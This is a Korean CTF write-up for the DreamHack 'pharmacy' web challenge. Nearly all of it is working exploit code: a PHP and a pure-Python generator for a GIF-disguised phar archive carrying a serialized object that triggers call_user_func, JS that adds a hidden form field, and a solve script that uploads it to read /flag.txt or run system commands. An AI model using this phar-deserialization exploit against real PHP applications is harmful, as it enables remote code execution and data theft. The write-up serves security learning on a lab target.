[🥈 Silver 1] GIF 네 글자로 위장한 PHP 객체 — DreamHack pharmacy 풀이

$targetDirectory = "uploads/";
$uploadOK = 1;
 
if( isset($_POST["submit"])) {
    echo '<pre class="file-upload-form">';
    $tmpFile = $_FILES["fileToUpload"]["tmp_name"];
    $currentFile = $_FILES["fileToUpload"]["name"];
    $fileExtension = strtolower(pathinfo($currentFile, PATHINFO_EXTENSION));
 
    if (mime_content_type($tmpFile) !== "image/gif" || $fileExtension !== "gif") {
        echo "Prescription not gif!\n";
        $uploadOK = 0;
    }
 
    if ($uploadOK == 0) {
        echo "Prescription upload failed.\n";
    } else {
        $randomFileName = bin2hex(random_bytes(16));
        $targetFile = $targetDirectory . $randomFileName . "." . $fileExtension;
        if (move_uploaded_file($tmpFile, $targetFile)) {
            if (isset($_POST['emergent']))
                $targetFile = 'phar://' . $targetFile;
            else
                $targetFile = $targetFile;
 
            if (file_exists($targetFile)) {
                echo "Prescription submitted!\n";
            }
        } else {
            echo "Prescription upload failed.\n";
        }
    }
    echo '</pre>';
}

<?php
function goodbye($customer) {
    echo "Good bye, $customer!\n";
}
 
class Supermarket {
    public $greet = 'goodbye';
    public $customer = 'dream';
    function __destruct() {
        call_user_func($this->greet, $this->customer);
    }
}
?>

# view-source: 로 열면 렌더된 HTML 원본이 그대로 보인다
view-source:http://host3.dreamhack.games:12778/index.php

$randomFileName = bin2hex(random_bytes(16));
$targetFile = $targetDirectory . $randomFileName . "." . $fileExtension;

<?php
/* mime_content_type() 이 무엇을 보고 image/gif 라 하는지 경계를 실측한다.
   (PHP 7.4 컨테이너 안에서 돌린다 — 서버와 같은 libmagic 이어야 의미가 있다) */
$halt = "<?php __HALT_COMPILER(); ?>\r\n";
$cases = [
  '매직 없음 (순수 PHP 스텁)'          => $halt,
  '"GIF8" 네 글자만'                   => "GIF8" . $halt,
  '"GIF89a" 여섯 글자만'               => "GIF89a" . $halt,
  '"GIF87a" 여섯 글자만'               => "GIF87a" . $halt,
  'GIF89a + 가로세로 1x1 + GCT'        => "GIF89a\x01\x00\x01\x00\x80\x00\x00" . $halt,
  'GIF89a + 가로세로 0x0'              => "GIF89a\x00\x00\x00\x00\x80\x00\x00" . $halt,
  '앞에 한 바이트 끼움'                 => "\x00GIF89a\x01\x00\x01\x00\x80\x00\x00" . $halt,
];
foreach ($cases as $label => $bytes) {
    $f = tempnam('/tmp', 'mime');
    file_put_contents($f, $bytes);
    printf("%-34s → %-24s %s\n", $label, mime_content_type($f),
           preg_match('/^image\/gif$/', mime_content_type($f)) ? '통과' : '거부');
    unlink($f);
}

docker run --rm -v "$PWD":/work:ro pharmacy-local php /work/probe_mime.php

<?php
/*
 * pharmacy (Dreamhack, Silver 1) — PHAR 역직렬화 페이로드 생성기
 *
 * supermarket.php 의 가젯:
 *     class Supermarket { public $greet='goodbye'; public $customer='dream';
 *                         function __destruct(){ call_user_func($this->greet,$this->customer); } }
 *
 * 이 객체를 phar 메타데이터에 심어 두면, index.php 가 file_exists('phar://...') 를
 * 부르는 순간 메타데이터가 unserialize 되고 요청이 끝날 때 __destruct 가 돈다.
 *
 * 사용법:  php -d phar.readonly=0 gen_phar.php <출력파일.gif> <함수> <인자>
 * 예   :  php -d phar.readonly=0 gen_phar.php exploit.gif readfile /flag.txt
 *         php -d phar.readonly=0 gen_phar.php exploit.gif system  'cat /flag.txt'
 */
 
class Supermarket {
    public $greet;
    public $customer;
    public function __construct($greet, $customer) {
        $this->greet    = $greet;
        $this->customer = $customer;
    }
}
 
$out  = $argv[1] ?? 'exploit.gif';
$func = $argv[2] ?? 'readfile';
$arg  = $argv[3] ?? '/flag.txt';
 
// Phar 는 확장자가 .phar 여야 생성을 허용한다 → 만든 뒤 .gif 로 옮긴다
$tmp = sys_get_temp_dir() . '/pharmacy_' . bin2hex(random_bytes(4)) . '.phar';
@unlink($tmp);
 
$phar = new Phar($tmp);
$phar->startBuffering();
// mime_content_type() 이 image/gif 로 판정하도록 스텁 앞에 GIF 매직을 붙인다.
// 가로/세로 필드까지 채워 libmagic 이 온전한 GIF 로 읽게 한다.
$phar->setStub("GIF89a" . "\x01\x00\x01\x00\x80\x00\x00" . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Supermarket($func, $arg));
$phar->addFromString('prescription.txt', "pharmacy\n");
$phar->stopBuffering();
 
copy($tmp, $out);
@unlink($tmp);
 
printf("WROTE %s (%d bytes)\n", $out, filesize($out));
printf("  metadata = Supermarket{greet=%s, customer=%s}\n", $func, $arg);
printf("  magic    = %s\n", bin2hex(substr(file_get_contents($out), 0, 6)));
printf("  mime     = %s\n", mime_content_type($out));

php -d phar.readonly=0 gen_phar.php exploit.gif readfile /flag.txt

file capture_assets/prescription.gif && xxd -l 160 capture_assets/prescription.gif

#!/usr/bin/env python3
"""생성된 phar 를 바이트 단위로 해부해 manifest 필드를 확인한다 (포맷 역설계용)."""
import struct, sys, zlib
 
data = open(sys.argv[1], 'rb').read()
tok = b'__HALT_COMPILER();'
i = data.find(tok) + len(tok)
while i < len(data) and data[i:i+1] in (b' ', b'?', b'>', b'\r', b'\n'):
    i += 1
print(f"stub          : 0~{i} ({i}바이트)  {data[:6]!r}...")
u32 = lambda o: struct.unpack_from('<I', data, o)[0]
u16 = lambda o: struct.unpack_from('<H', data, o)[0]
 
mlen = u32(i);                 print(f"manifest_len  : {mlen} @0x{i:x}")
nfiles = u32(i+4);             print(f"num_files     : {nfiles}")
print(f"api_version   : 0x{u16(i+8):04x} (raw {data[i+8:i+10].hex()})")
gflags = u32(i+10);            print(f"global_flags  : 0x{gflags:08x}")
alen = u32(i+14);              print(f"alias_len     : {alen}  {data[i+18:i+18+alen]!r}")
o = i+18+alen
mdlen = u32(o);                print(f"metadata_len  : {mdlen}")
print(f"metadata      : {data[o+4:o+4+mdlen]!r}")
o += 4+mdlen
for n in range(nfiles):
    flen = u32(o); name = data[o+4:o+4+flen]; o += 4+flen
    usz, ts, csz, crc, ff = struct.unpack_from('<IIIII', data, o); o += 20
    fmd = u32(o); o += 4+fmd
    print(f"  file[{n}] name={name!r} usize={usz} mtime={ts} csize={csz} crc=0x{crc:08x} flags=0o{ff:o}")
end_manifest = i+4+mlen
print(f"manifest 끝   : 0x{end_manifest:x} (계산 커서 0x{o:x})")
body_end = end_manifest
for n in range(nfiles):
    pass
print(f"꼬리 16바이트  : {data[-16:].hex()}  magic={data[-4:]!r} sigtype={u32(len(data)-8)}")
sigtype = u32(len(data)-8)
siglen = {1:16, 2:20, 3:32, 4:64}[sigtype]
signed = data[:len(data)-8-siglen]
import hashlib
algo = {1:"md5", 2:"sha1", 3:"sha256", 4:"sha512"}[sigtype]
calc = hashlib.new(algo, signed).digest()
print(f"sig_type={sigtype}({algo}) 저장값일치={calc == data[len(data)-8-siglen:len(data)-8]}")

python3 parse_phar.py capture_assets/prescription.gif

// 폼에 emergent 칸을 눈에 보이게 끼워 넣는다 (서버는 POST 본문만 본다)
const f = document.querySelector('form.file-upload-form');
const wrap = document.createElement('div');
wrap.innerHTML = '<label style="color:#c0392b;font-weight:bold">emergent '
  + '<input name="emergent" value="1" class="file-upload-input" style="width:60px"></label>';
f.insertBefore(wrap, f.querySelector('.file-upload-button'));

#!/usr/bin/env python3
"""
pharmacy (Dreamhack, Silver 1 / web) — PHAR 역직렬화로 /flag.txt 읽기
 
index.php 가 하는 일
  1) mime_content_type($tmp) === "image/gif"  AND  확장자 === "gif"
  2) uploads/<random_bytes(16) 16진수>.gif 로 move_uploaded_file
  3) POST 에 emergent 가 있으면  $targetFile = 'phar://' . $targetFile
  4) file_exists($targetFile)
 
4번이 phar:// 라면 PHP 는 아카이브를 열어 manifest 의 metadata 를 unserialize 한다.
supermarket.php 에 __destruct 가 call_user_func($this->greet, $this->customer) 인
Supermarket 이 있으므로, metadata 에 그 객체를 심어 두면 요청이 끝날 때 호출된다.
 
파일명이 매 요청 난수라 두 번째 요청으로는 접근할 수 없다 → 트리거는 같은 요청 안의 3·4번뿐이다.
 
phar 아카이브를 PHP 없이 순수 파이썬으로 만든다(스텁 앞에 GIF 매직을 붙여 1번을 통과).
 
사용법:
    python3 solve.py http://host1.dreamhack.games:PORT/
    python3 solve.py http://127.0.0.1:18080/ --gadget system --arg 'id; cat /flag.txt'
"""
import argparse
import binascii
import hashlib
import re
import struct
import sys
import urllib.request
 
# ── phar 포맷 ───────────────────────────────────────────────────────────────────
# [stub][manifest][파일 본문][signature][sig_type u32]["GBMB"]
# manifest = u32 manifest_len | u32 num_files | u16 api_ver | u32 global_flags
#            u32 alias_len + alias | u32 metadata_len + metadata
#            파일마다: u32 name_len + name | u32 usize | u32 mtime | u32 csize
#                       u32 crc32 | u32 flags(퍼미션) | u32 file_metadata_len + md
PHAR_API_VERSION = b"\x11\x00"       # 1.1.0
PHAR_HDR_SIGNATURE = 0x00010000      # global_flags 의 "서명 있음" 비트
PHAR_SIG_SHA256 = 3
 
# mime_content_type() 이 image/gif 로 보게 만드는 머리.
# GIF89a + 가로 1 · 세로 1 · GCT 플래그 — libmagic 이 온전한 GIF 헤더로 읽는다.
GIF_MAGIC = b"GIF89a" + b"\x01\x00\x01\x00\x80\x00\x00"
STUB = GIF_MAGIC + b"<?php __HALT_COMPILER(); ?>\r\n"
 
 
def php_serialize_supermarket(greet: str, customer: str) -> bytes:
    """PHP 의 serialize(new Supermarket) 출력을 직접 만든다 (public 프로퍼티 2개)."""
    g, c = greet.encode(), customer.encode()
    return (b'O:11:"Supermarket":2:'
            b'{s:5:"greet";s:%d:"%s";s:8:"customer";s:%d:"%s";}'
            % (len(g), g, len(c), c))
 
 
def build_phar(metadata: bytes, entries) -> bytes:
    """metadata(직렬화된 PHP 객체) 를 품은 phar 아카이브 바이트열을 만든다."""
    body = b""
    files = b""
    for name, content in entries:
        name_b = name.encode()
        files += struct.pack("<I", len(name_b)) + name_b
        files += struct.pack("<IIIII",
                             len(content),                        # 원본 크기
                             0,                                   # mtime
                             len(content),                        # 압축 크기(무압축)
                             binascii.crc32(content) & 0xFFFFFFFF,
                             0o664)                               # 퍼미션 비트
        files += struct.pack("<I", 0)                             # 파일별 metadata 없음
        body += content
 
    manifest = (struct.pack("<I", len(entries))
                + PHAR_API_VERSION
                + struct.pack("<I", PHAR_HDR_SIGNATURE)
                + struct.pack("<I", 0)                            # alias 없음
                + struct.pack("<I", len(metadata)) + metadata
                + files)
 
    out = STUB + struct.pack("<I", len(manifest)) + manifest + body
    out += hashlib.sha256(out).digest()                           # PHP 가 열 때 검증한다
    out += struct.pack("<I", PHAR_SIG_SHA256) + b"GBMB"
    return out
 
 
# ── 업로드 ────────────────────────────────────────────────────────────────────
def multipart(fields, filefield, filename, filedata):
    boundary = "----pharmacy" + hashlib.sha1(filedata).hexdigest()[:16]
    buf = b""
    for k, v in fields.items():
        buf += (f"--{boundary}\r\n"
                f'Content-Disposition: form-data; name="{k}"\r\n\r\n{v}\r\n').encode()
    buf += (f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="{filefield}"; filename="{filename}"\r\n'
            f"Content-Type: image/gif\r\n\r\n").encode()
    buf += filedata + f"\r\n--{boundary}--\r\n".encode()
    return boundary, buf
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("base")
    ap.add_argument("--gadget", default="readfile", help="call_user_func 의 첫 인자")
    ap.add_argument("--arg", default="/flag.txt", help="call_user_func 의 두 번째 인자")
    ap.add_argument("--save", default="", help="만든 phar 를 이 경로에 남긴다")
    ap.add_argument("--no-emergent", action="store_true", help="대조군: phar:// 를 안 붙인다")
    a = ap.parse_args()
 
    md = php_serialize_supermarket(a.gadget, a.arg)
    phar = build_phar(md, [("prescription.txt", b"pharmacy\n")])
    print(f"[+] phar {len(phar)}바이트 / metadata = {md.decode()}")
    if a.save:
        open(a.save, "wb").write(phar)
        print(f"[+] 저장: {a.save}")
 
    fields = {"submit": "upload"}
    if not a.no_emergent:
        fields["emergent"] = "1"          # 폼에 없는 숨은 파라미터
    boundary, body = multipart(fields, "fileToUpload", "prescription.gif", phar)
 
    url = a.base.rstrip("/") + "/index.php"
    req = urllib.request.Request(url, data=body, method="POST", headers={
        "Content-Type": f"multipart/form-data; boundary={boundary}"})
    html = urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "replace")
 
    # __destruct 는 스크립트 종료 때 돌므로 출력이 </html> 뒤에 붙는다
    tail = html.split("</html>", 1)[1] if "</html>" in html else html
    print(f"[+] 업로드 응답: {'Prescription submitted!' in html and 'submitted' or 'rejected'}")
    print(f"[+] </html> 이후 출력: {tail.strip()!r}")
 
    m = re.search(r"DH\{[^}\s]*\}", html)
    if m:
        print(f"\nFLAG: {m.group(0)}")
        return 0
    if tail.strip():
        # 가젯은 돌았다. 로컬 재현 컨테이너의 /flag.txt 는 'placeholder' 라 DH{} 가 아니다.
        print("\n[+] 가젯 실행됨 — 다만 DH{...} 형식이 아니다(로컬 재현본은 placeholder)")
        return 0
    print("\n[-] 가젯이 돌지 않았다 — emergent 파라미터와 phar 유효성을 확인하라",
          file=sys.stderr)
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

cd extracted && docker build -t pharmacy-local . && cd ..
docker run -d --name pharmacy-local -p 18080:80 pharmacy-local
python3 solve.py http://127.0.0.1:18080/

python3 solve.py http://host3.dreamhack.games:12778/

python3 solve.py http://host3.dreamhack.games:12778/ --gadget system --arg "id; uname -sr; cat /flag.txt"